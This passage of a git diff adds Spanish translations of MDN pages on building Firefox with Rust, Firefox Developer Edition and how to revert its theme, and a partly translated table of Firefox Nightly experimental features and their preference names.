+     <dt><a class="external" href="http://www.mozilla.org/hacking/committer/" title="http://www.mozilla.org/hacking/committer/">Obtener el acceso de confirmación para el código fuente</a></dt>
+     <dd>¿Te sientes listo para unirte a los pocos, a los orgullosos, a los que se comprometen? Averigüe cómo obtener acceso de check-in al código de Mozilla.</dd>
+     <dt><a class="internal" href="/En/Developer_Guide/Source_Code/CVS" title="En/Mozilla Source Code (CVS)">Obtener un código de Mozilla más antiguo desde CVS</a></dt>
+     <dd>Las versiones anteriores del código fuente de Mozilla, así como las versiones actuales de NSS y NSPR, se guardan en un repositorio de CVS. Aprende sobre eso en este artículo.</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ languages( { "de": "de/Entwicklerhandbuch/Quelltexte", "ja": "ja/Developer_Guide/Source_Code", "pt": "pt/Developer_Guide/Codigo_Fonte" } ) }}</p>
diff --git a/files/es/mozilla/firefox/compilar_firefox_con_codigo_en_rust/index.html b/files/es/mozilla/firefox/compilar_firefox_con_codigo_en_rust/index.html
new file mode 100644
index 0000000000..76ea78e7b0
--- /dev/null
+++ b/files/es/mozilla/firefox/compilar_firefox_con_codigo_en_rust/index.html
@@ -0,0 +1,37 @@
+---
+title: Compilar Firefox con código en Rust
+slug: Mozilla/Firefox/Compilar_Firefox_con_codigo_en_Rust
+tags:
+  - Compilación
+  - Gecko
+  - rust
+translation_of: Archive/Mozilla/Firefox/Building_Firefox_with_Rust_code
+---
+<div>{{FirefoxSidebar}}</div><p>En mayo de 2015, <a href="https://www.rust-lang.org/">el lenguaje de programación Rust</a> alcanzó su objetivo de estabilidad 1.0 y se comenzaron diversos experimentos que consistieron en escribir partes de Gecko en Rust. Esta página contiene una guía de orientación aproximada para las personas que trabajan en esta área.</p>
+
+<p>Consulte el <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1135640">informe n.º 1135640</a> (<em>oxidation</em>) para ver el seguimiento integral de la integración de componentes en el lenguaje Rust.</p>
+
+<h2 id="Activación_del_código_en_Rust">Activación del código en Rust</h2>
+
+<p>Con el trabajo realizado en el <a class="bz_bug_link
+          bz_status_RESOLVED  bz_closed" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1161339" title="RESOLVED FIXED - Support rust files in moz.build SOURCES">informe n.º 1161339</a> se implementó compatibilidad básica para compilar código en Rust. Esta compatibilidad está activada para las compilaciones oficiales de la mayoría de las plataformas, con la excepción de las compilaciones que realice localmente. Si en su «path» tiene «rustc», puede añadir:</p>
+
+<pre>ac_add_options --enable-rust</pre>
+
+<p>… a su archivo <a href="/en-US/docs/Configuring_Build_Options">mozconfig</a> y la compilación probablemente funcionará. Normalmente apuntamos a versiones estables de Rust pero, en ocasiones, para admitir algunas plataformas nuevas se necesitan versiones especiales de las herramientas de compilación. Si aún no tiene Rust, utilice la herramienta «<a href="https://www.rustup.rs/">rustup</a>» para instalarlo.</p>
+
+<h2 id="Poner_a_prueba_el_código_en_Rust">Poner a prueba el código en Rust</h2>
+
+<p>En el árbol hay una sencilla prueba unitaria de vinculación. Es posible utilizarla para comprobar que Rust esté activado y funcione correctamente con su configuración de compilaciones.</p>
+
+<pre>./mach gtest rust.*</pre>
+
+<p>Revise que la prueba <strong>rust.CallFromCpp</strong> se supere, junto con cualquier otra que haya.</p>
+
+<h2 id="Adición_de_código_en_Rust">Adición de código en Rust</h2>
+
+<p>Para agregar código nuevo en Rust se requiere añadir el archivo .rs de nivel superior para agruparlo en un cajón (<em>crate</em>) de SOURCES en moz.build.</p>
+
+<p>Debido a límites de Cargo y al sistema de compilaciones de Firefox, por el momento solo admitimos cajones sencillos, sin dependencias. No empleamos Cargo, sino que creamos un archivo rlib a partir de todos los archivos rust enumerados en SOURCES. El compilador de Rust buscará los módulos internos según los nombres de archivo de código fuente, pero las referencias de <code>extern crate</code> no se resolverán.</p>
+
+<p>El sistema de compilaciones generará un cajón especial para una «biblioteca unificada de Rust», compilada como una biblioteca estática (<code>librul.a</code>) que a su vez se enlaza en <code>XUL</code>, de modo que todos sus símbolos públicos estén disponibles para el código en C++.</p>
diff --git a/files/es/mozilla/firefox/edición_de_desarrollador/index.html b/files/es/mozilla/firefox/edición_de_desarrollador/index.html
new file mode 100644
index 0000000000..12642f7044
--- /dev/null
+++ b/files/es/mozilla/firefox/edición_de_desarrollador/index.html
@@ -0,0 +1,59 @@
+---
+title: Edición de Desarrollador
+slug: Mozilla/Firefox/Edición_de_Desarrollador
+tags:
+  - Firefox
+  - Iniciado
+  - Lanzamiento
+translation_of: Mozilla/Firefox/Developer_Edition
+---
+<div>{{FirefoxSidebar}}</div><p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/9143/firefox-dev-ed_logo-only_1024.png" style="display: block; height: 256px; margin-left: auto; margin-right: auto; width: 256px;">La versión de Firefox a la medida de los desarrolladores web. (Versión Actualizada)</p>
+
+<p><a href="https://download.mozilla.org/?product=firefox-aurora-latest-l10n&amp;os=win&amp;lang=es-ES" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Descarga Firefox Developer Edition </a></p>
+
+<hr>
+<div class="column-container">
+<div class="column-half">
+<h3 id="Las_últimas_funciones_de_Firefox"><strong>Las últimas funciones de Firefox</strong></h3>
+
+<p>Firefox Developer Edition sustituye al canal Aurora en el <a href="https://wiki.mozilla.org/Release_Management/Release_Process">Proceso de lanzamiento de versiones de Firefox</a>.  En Developer Edition, como en Aurora,  las caracteristicas se lanzan cada seis semanas, despues de que se hayan estabilizado en Nightly builds.</p>
+
+<p>Utilizando Firefox Developer Edition, tienes acceso a las herramientas y a las caracteristicas de la plataforma al menos 12 semanas antes de que lleguen a alcanzar el canal principal de lanzamiento Firefox.</p>
+
+<p><a href="/en-US/Firefox/Releases/35">Descubre las novedades de Firefox Developer Edition.</a><a href="https://developer.mozilla.org/en-US/Firefox/Releases/52">.</a></p>
+</div>
+
+<div class="column-half">
+<h3 id="Herramientas_de_Desarrollo_Experimentales"><strong>Herramientas de Desarrollo Experimentales</strong></h3>
+
+<p>Incluiremos herramientas de desarrollo que aún no están todavía del todo listas para ser lanzadas en la versión final de Firefox. Por ejemplo <a href="https://developer.mozilla.org/es/docs/Tools/Valence">Valence add-on (Adaptador de Herramientas Firefox) </a>, la cual te permite conectar las <a href="https://developer.mozilla.org/es/docs/Tools">Herramientas de Desarrollo Firefox</a>  con las de otros navegadores , como Chrome en android o Safari en IOS.</p>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Un_Perfil_Separado"><strong>Un Perfil Separado</strong></h3>
+
+<p>Firefox Developer Edition utiliza un perfil separado de las otras versiones de Firefox instaladas en tu ordenador. Esto hace que puedas intercambiar más facilmente entre las versiones ya lanzadas o las betas de Firefox.</p>
+</div>
+
+<div class="column-half">
+<h3 id="Configuración_para_Desarrolladores_Web"><strong>Configuración para Desarrolladores Web</strong></h3>
+
+<p><span id="result_box" lang="es"><span>Hemos establecido valores de preferencia predeterminados adaptados a los desarrolladores web.</span> <span>Por ejemplo, {{glossary ("chrome")}} y depuración remota están habilitados de forma predeterminada.</span></span></p>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Una_Apariencia_Distinta"><strong>Una Apariencia Distinta</strong></h3>
+
+<p>Incluidos accesos directos a las herramientas de desarrollo</p>
+</div>
+
+<div class="note">
+<div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><span><strong>Nota</strong>: Esto significa que la primera vez que inicie  Developer Edition, verá un navegador totalmente no personalizado, sin complementos, marcadores o historial.</span> <span>Puedes <a href="https://support.mozilla.org/es/kb/como-configuro-firefox-sync?redirectlocale=en-US&amp;redirectslug=how-do-i-set-up-firefox-sync">utilizar Firefox Sync</a> si quieres unificar tu configuración entre Developer Edition y otras ediciones de Firefox.</span></span></div>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/es/mozilla/firefox/edición_de_desarrollador/revertir/index.html b/files/es/mozilla/firefox/edición_de_desarrollador/revertir/index.html
new file mode 100644
index 0000000000..a4df9a3ba6
--- /dev/null
+++ b/files/es/mozilla/firefox/edición_de_desarrollador/revertir/index.html
@@ -0,0 +1,25 @@
+---
+title: Revertir
+slug: Mozilla/Firefox/Edición_de_Desarrollador/Revertir
+translation_of: Mozilla/Firefox/Developer_Edition/Reverting
+---
+<div>{{FirefoxSidebar}}</div><h2 id="Revertir_el_tema_Firefox_Developer_Edition">Revertir el tema Firefox Developer Edition</h2>
+
+<p><br>
+ Si quieres usar Firefox Developer Edition, pero prefieres el tema 'Australis' usado en Firefox y Firefox Beta, puedes cambiarlo: simplemente abre el panel "Personalizar" y haz clic en el botón "Usar el tema Firefox Developer Edition".</p>
+
+<p>{{EmbedYouTube("OvJwofTjsNg")}}</p>
+
+<p>Ten en cuenta que el tema Firefox Developer Edition no es aún compatible con temas ligeros. Si quieres usar un tema ligero, tendrás que volver al tema 'Australis'.</p>
+
+<h2 id="Revertir_a_Firefox_Aurora">Revertir a Firefox Aurora</h2>
+
+<p><br>
+ Si quieres disfrutar de todas las características pre-Beta de Firefox Developer Edition, descartando el resto de cambios, puedes revertir el navegador a algo parecido al viejo Firefox Aurora. Esto también restaurará tu perfil y datos de sesión previos a la actualización. Es un proceso de dos pasos, que debes de seguir en este orden:</p>
+
+<ol>
+ <li>Abre Preferencias y desmarca la opción "Permitir a Firefox Developer Edition y Firefox ejecutarse al mismo tiempo". Se te avisará de que es necesario reiniciar el navegador.</li>
+ <li>Tras reiniciar, podrás revertir la aplicación del tema Firefox Developer Edition abriendo el panel "Personalizar" y haciendo clic en el botón "Usar el tema Firefox Developer Edition".</li>
+</ol>
+
+<p> </p>
diff --git a/files/es/mozilla/firefox/experimental_features/index.html b/files/es/mozilla/firefox/experimental_features/index.html
new file mode 100644
index 0000000000..56c26f6755
--- /dev/null
+++ b/files/es/mozilla/firefox/experimental_features/index.html
@@ -0,0 +1,724 @@
+---
+title: Funciones experimentales de Firefox
+slug: Mozilla/Firefox/Experimental_features
+tags:
+  - Experimental
+  - Firefox
+  - Preferencias
+  - características
+translation_of: Mozilla/Firefox/Experimental_features
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p class="summary">Para probar nuevas características, Mozilla publica una versión de prueba del navegador Firefox, <a href="https://nightly.mozilla.org/">Firefox Nightly</a>, cada día. Características experimentales, por ejemplo implementaciones de estándares de plataforma Web, están disponibles. Esta página lista características que están en versiones Nightly de Firefox junto con información sobre cómo activarlas, si es necesario. Puedes probar tus sitios Web y aplicaciones antes de que se lancen las características y confirmar que todo seguirá funcionando con las últimas prestaciones de tecnología Web.</p>
+
+<p>Para probar esas características experimentales, necesitas descargar <a href="https://nightly.mozilla.org/">Firefox Nightly</a> o <a href="https://www.mozilla.org/en-US/firefox/developer/">Firefox Developer Edition</a>.</p>
+
+<h2 id="HTML">HTML</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Característica</th>
+   <th scope="col">Firefox Nightly</th>
+   <th scope="col">Firefox Developer Edition</th>
+   <th scope="col">Firefox Beta</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Preferencia</th>
+  </tr>
+  <tr>
+   <td><strong>{{HTMLElement("dialog")}}</strong><br>
+    Elemento dialog incluyendo APIs de DOM para interactuar con este. La implementación de diálogos modales y accesibilidad sigue faltando.</td>
+   <td>Desactivado<br>
+    <sub>(disponible desde 53)</sub></td>
+   <td>Desactivado<br>
+    <sub>(disponible desde 53)</sub></td>
+   <td>---</td>
+   <td>---</td>
+   <td><code>dom.dialog_element.enabled</code></td>
+  </tr>
+ </thead>
+</table>
+
+<h2 id="CSS">CSS</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Característica</th>
+   <th scope="col">Firefox Nightly</th>
+   <th scope="col">Firefox Developer Edition</th>
+   <th scope="col">Firefox Beta</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Preference</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>Subgrids</strong></td>
+   <td>
+    <p>Desactivado</p>
+
+    <p>(reconocido pero aún no implementado)</p>
+   </td>
+   <td>
+    <p>Desactivado</p>
+
+    <p>(reconocido pero aún no implementado)</p>
+   </td>
+   <td>
+    <p>Desactivado</p>
+
+    <p>(reconocido pero aún no implementado)</p>
+   </td>
+   <td>
+    <p>Desactivado</p>
+
+    <p>(reconocido pero aún no implementado)</p>
+   </td>
+   <td><code>layout.css.grid-template-subgrid-value.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong>Display stray control characters in CSS as hex boxes</strong><br>
+    This feature renders control characters (Unicode category Cc) other than <em>tab</em> (<code>U+0009</code>), <em>line feed</em> (<code>U+000A</code>), <em>form feed</em> (<code>U+000C</code>), and <em>carriage return</em> (<code>U+000D</code>) as a hexbox when they are not expected.</td>
+   <td>43</td>
+   <td>43</td>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1329613">No habilitado</a></td>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1329613">No habilitado</a></td>
+   <td><code>layout.css.control-characters.enabled</code> or <code>layout.css.control-characters.visible</code></td>
+  </tr>
+  <tr>
+   <td><strong>Positioned CSS Masks</strong><br>
+    A subset of CSS Masks that includes <a href="/en-US/docs/Web/CSS/CSS_Masks">longhand properties of CSS Masks</a>, as well as a change in the shorthand property</td>
+   <td>51</td>
+   <td>51</td>
+   <td>53</td>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1251161">No habilitado</a></td>
+   <td>Controlled by a compile flag (MOZ_ENABLE_MASK_AS_SHORTHAND).</td>
+  </tr>
+  <tr>
+   <td>
+    <p><strong>The</strong> <strong><code>font-variation-settings</code> property</strong><br>
+     The {{cssxref("font-variation-settings")}} provides low-level control over OpenType or TrueType font typographic features, by specifying the four letter axis names of the features you want to vary, along with their variation values.</p>
+   </td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 53)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 53)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 53)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 53)</sub></td>
+   <td>
+    <p><code>layout.css.font-variations.enabled</code><br>
+     Functions only in Mac OS Sierra (and later).<br>
+     <br>
+     For the downloadable fonts on axis-praxis, you also need <code>gfx.downloadable_fonts.keep_variation_tables</code> (in Firefox 54 and later)</p>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>The <code>touch-action</code> CSS property</strong><br>
+    The {{cssxref("touch-action")}} CSS property is part of the {{SpecName("Pointer Events")}} specification and allows you to specify how and in what way the user is able to manipulate an object by touch.</td>
+   <td>50</td>
+   <td>—</td>
+   <td>—</td>
+   <td>—</td>
+   <td><code>layout.css.touch_action.enabled</code></td>
+  </tr>
+  <tr id="shape-outside">
+   <td>
+    <p><strong>The <code>shape-outside</code> CSS property</strong><br>
+     The {{cssxref("shape-outside")}} CSS property is part of the {{SpecName("CSS Shapes")}} specification and allows you to specify a float area causing inline contents to wrap around a shape.</p>
+
+    <p>Firefox currently implements the <code>&lt;shape-box&gt;</code> values ({{bug(1309467)}}) as well as the <code>circle()</code> ({{bug(1311244)}}), <code>ellipse()</code> ({{bug(1326406)}}), and <code>polygon()</code> ({{bug(1326409)}}) functions. {{cssxref("shape-outside")}} is animatable desde la versión Firefox 57 ({{bug(1289049)}}).</p>
+   </td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 53)</sub></td>
+   <td>—</td>
+   <td>—</td>
+   <td>—</td>
+   <td><code>layout.css.shape-outside.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong>The <code>shape-image-threshold</code> CSS property</strong><br>
+    The {{cssxref("shape-imahge-threshold")}} CSS property is part of the {{SpecName("CSS Shapes")}} specification, and allows you to specify the alpha channel threshold used to extract the shape using an image as the value for {{cssxref("shape-outside")}}.</td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td><code>layout.css.shape-outside.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong>La propiedad <code>contain</code> de CSS</strong><br>
+    La propiedad de CSS {{cssxref("contain")}} es parte de la especificación {{SpecName("CSS Containment")}} y te permite indicar que un elemento y sus contenidos son independientes del resto del documento, permitiendo a  {{Glossary("User agent", "user agents")}} optimizar el renderizado de una página.</td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 45)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 45)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 45)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 45)</sub></td>
+   <td><code>layout.css.contain.enabled</code></td>
+  </tr>
+  <tr id="column-span">
+   <td>
+    <p><strong>The <code>column-span</code> CSS property</strong><br>
+     The {{cssxref("column-span")}} CSS property is part of the {{SpecName("CSS3 Multicol")}} specification and allows you to specify how many columns an element spans across.</p>
+
+    <p>Firefox currently only parses the property ({{bug(1339298)}}), it's not actually implemented yet ({{bug(616436)}}).</p>
+   </td>
+   <td>No habilitado<br>
+    <sub>(recognized desde la versión 55, but not implemented yet)</sub></td>
+   <td>—</td>
+   <td>—</td>
+   <td>—</td>
+   <td><code>layout.css.column-span.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong>The <code>frames()</code> timing function</strong><br>
+    Ver <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/single-transition-timing-function#The_frames()_class_of_timing-functions">The frames() class of timing-functions</a> para más detalle</td>
+   <td>Habilitado</td>
+   <td><sub>N/A</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 55)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 55)</sub></td>
+   <td>None</td>
+  </tr>
+  <tr>
+   <td><strong>The {{cssxref("::slotted")}} pseudo-element</strong><br>
+    Selects elements when they are inserted into a {{htmlelement("slot")}} in an HTML {{htmlelement("template")}}.</td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td><code>dom.webcomponents.customelements.enabled</code> and <code>dom.webcomponents.shadowdom.enabled</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="JavaScript">JavaScript</h2>
+
+<p id="ECMAScript_2016">See also <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next support</a> for implemented features of ECMAScript 2016 and later, that are not experimental and thus available without preferences in Firefox Release.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Feature</th>
+   <th scope="col">Firefox Nightly</th>
+   <th scope="col">Firefox Developer Edition</th>
+   <th scope="col">Firefox Beta</th>
+   <th scope="col">Firefox Release</th>
+   <th scope="col">Preference</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>Additions to the <code>ArrayBuffer</code> object</strong><br>
+    Adds the {{jsxref("ArrayBuffer.transfer()")}} that returns a new <code>ArrayBuffer</code> whose contents have been taken from the <code>oldBuffer</code>'s data (<a href="https://gist.github.com/lukewagner/2735af7eea411e18cf20">spec</a>).</td>
+   <td>36</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>None</td>
+  </tr>
+  <tr>
+   <td><strong>TypedObject objects</strong> (<a href="https://github.com/dslomov-chromium/typed-objects-es7">spec</a>)</td>
+   <td>Habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>None</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SIMD">SIMD</a> (<a href="https://github.com/johnmccutchan/ecmascript_simd">specification and polyfill</a>)</td>
+   <td>Habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>None</td>
+  </tr>
+  <tr>
+   <td><strong>ECMAScript modules</strong><br>
+    Allows you to use native ECMAScript modules, for example defining modules with <code>&lt;script type="module"&gt;</code>, defining fallback scripts with <code>&lt;script nomodule&gt;</code>, and <a href="/en-US/docs/Web/JavaScript/Reference/Statements/import">importing</a> code features that have been <a href="/en-US/docs/Web/JavaScript/Reference/Statements/export">exported</a> from modules.</td>
+   <td>59</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td><code>dom.moduleScripts.enabled</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Array.prototype.flatten()")}} and {{jsxref("Array.prototype.flatMap()")}}</td>
+   <td>Habilitado (59)</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>None</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="APIs">APIs</h2>
+
+<h3 id="Canvas_WebGL">Canvas &amp; WebGL</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Feature</th>
+   <th scope="col">Firefox Nightly</th>
+   <th scope="col">Firefox Developer Edition</th>
+   <th scope="col">Firefox Beta</th>
+   <th scope="col">Firefox Release</th>
+   <th scope="col">Preference</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong><code>WEBGL_debug_renderer_info</code> extension</strong><br>
+    The {{domxref("WEBGL_debug_renderer_info")}} extension allows you to transmit information useful to help debugging problems to the server.</td>
+   <td>42</td>
+   <td>42</td>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=742798">No habilitado</a></td>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=742798">No habilitado</a></td>
+   <td><code>webgl.enable-debug-renderer-info</code></td>
+  </tr>
+  <tr>
+   <td><strong>OffscreenCanvas</strong><br>
+    The {{domxref("OffscreenCanvas")}} interface provides a canvas that can be rendered off screen. It is available in both the window and <a href="/en-US/docs/Web/API/Web_Workers_API">worker</a> contexts.</td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 44)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 44)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 44)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 44)</sub></td>
+   <td><code>gfx.offscreencanvas.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">Hit regions</a></strong><br>
+    Whether the mouse coordinates are within a particular area on the canvas is a common problem to solve. The hit region API allows you define an area of your canvas and provides another possibility to expose interactive content on a canvas to accessibility tools.</td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 30)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 30)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 30)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 30)</sub></td>
+   <td><code>canvas.hitregions.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong><a href="/en-US/docs/Web/API/Streams_API">Streams API</a></strong><br>
+    Allows JavaScript to programmatically access streams of data received over the network and process them as desired by the developer.</td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 57)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 57)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 57)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 57)</sub></td>
+   <td><code>dom.streams.enabled</code> and <code>javascript.options.streams</code></td>
+  </tr>
+  <tr>
+   <td><strong><a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Custom elements</a></strong><br>
+    Allows the definition and registering of custom elements that can then be used in the document.</td>
+   <td>Habilitado<br>
+    <sub>(desde la versión 59)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 57)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 57)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 57)</sub></td>
+   <td><code>dom.webcomponents.enabled</code> and <code>dom.webcomponents.customelements.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong><a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a></strong><br>
+    Allows a shadow DOM to be attached to any element, inside which markup, style, and scripting can be safely encapsulated.</td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 58)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 58)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 58)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 58)</sub></td>
+   <td><code>dom.webcomponents.enabled</code> and <code>dom.webcomponents.shadowdom.enabled</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="DOM">DOM</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Característica</th>
+   <th scope="col">Firefox Nightly</th>
+   <th scope="col">Firefox Developer Edition</th>
+   <th scope="col">Firefox Beta</th>
+   <th scope="col">Firefox Release</th>
+   <th scope="col">Preference</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>Gamepad extensions</strong><br>
+    <a href="/en-US/docs/Web/API/Gamepad_API#Experimental_Gamepad_extensions">The Gamepad Extensions</a> provide access to additional functionality such as pose information in the case of WebVR controllers, and haptic actuator control (e.g. controller vibration hardware).</td>
+   <td>Habilitado</td>
+   <td>Habilitado</td>
+   <td>Habilitado</td>
+   <td>No habilitado</td>
+   <td><code>dom.gamepad-extensions.enabled</code></td>
+  </tr>
+  <tr>
+   <td><code><strong>HTMLMediaElement.seekToNextFrame()</strong></code><br>
+    Part of an experimentation process around support non-real-time access to media for tasks including filtering, editing, and so forth, the {{domxref("HTMLMediaElement.seekToNextFrame()")}} advances the the current play position to the next frame in the media.</td>
+   <td>49<br>
+    <sub>(Fundamental update in version 50)</sub></td>
+   <td>49<br>
+    <sub>(Fundamental update in version 50)</sub></td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td><code>media.seekToNextFrame.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong><code>GeometryUtils.getBoxQuads()</code></strong> ({{bug(917755)}})</td>
+   <td>31</td>
+   <td>31</td>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1107559">No habilitado</a></td>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1107559">No habilitado</a></td>
+   <td><code>layout.css.getBoxQuads.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong><code>GeometryUtils.convertPointFromNode()</code></strong>,<br>
+    <strong><code>GeometryUtils.RectFromNode()</code></strong>, y<br>
+    <code><strong>GeometryUtils.convertQuadFromNode()</strong></code><br>
+    ({{bug(918189)}})</td>
+   <td>31</td>
+   <td>31</td>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1107559">No habilitado</a></td>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1107559">No habilitado</a></td>
+   <td><code>layout.css.convertFromNode.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong><code>Node.rootNode</code></strong><br>
+    The {{domxref("Node.rootNode")}} property returns a {{domxref("Node")}} object representing the topmost node in the tree, or the current node if it's the topmost node in the tree.<br>
+    <em>This feature is kept experimental as its naming poses Web compatibility problems. It will be renamed in the future.</em></td>
+   <td>48</td>
+   <td>48</td>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1269155">No habilitado</a></td>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1269155">No habilitado</a></td>
+   <td><code>dom.node.rootNode.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong>WebVTT Regions API</strong><br>
+    <a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> regions are parts of the video viewport that provide a rendering area for WebVTT cues. The {{domxref("VTTRegion")}} is the interface exposing the WebVTT cues.<br>
+    <em>This interface is considered to be in flux and isn't therefore activated in any version by default.</em></td>
+   <td>No habilitado<br>
+    <sub>(Experimental implementation desde la versión version 30)</sub></td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td><code>media.webvtt.regions.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong>Support for audio and video tracks</strong><br>
+    Implementa {{domxref("HTMLMediaElement.audioTracks")}} y {{domxref("HTMLMediaElement.videoTracks")}}.<br>
+    <em>Firefox no soporta pistas de audio o vídeo múltiples, evitando que los usos más comunes de estas propiedades funcionen correctamente. Es por ello que estas propiedades no están activadas por defecto en ninguna versión. </em></td>
+   <td>No habilitado<br>
+    <sub>(Implementación experimental desde la versión 33)</sub></td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td><code>media.track.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong>Better value for <code>Event.timestamp</code></strong><br>
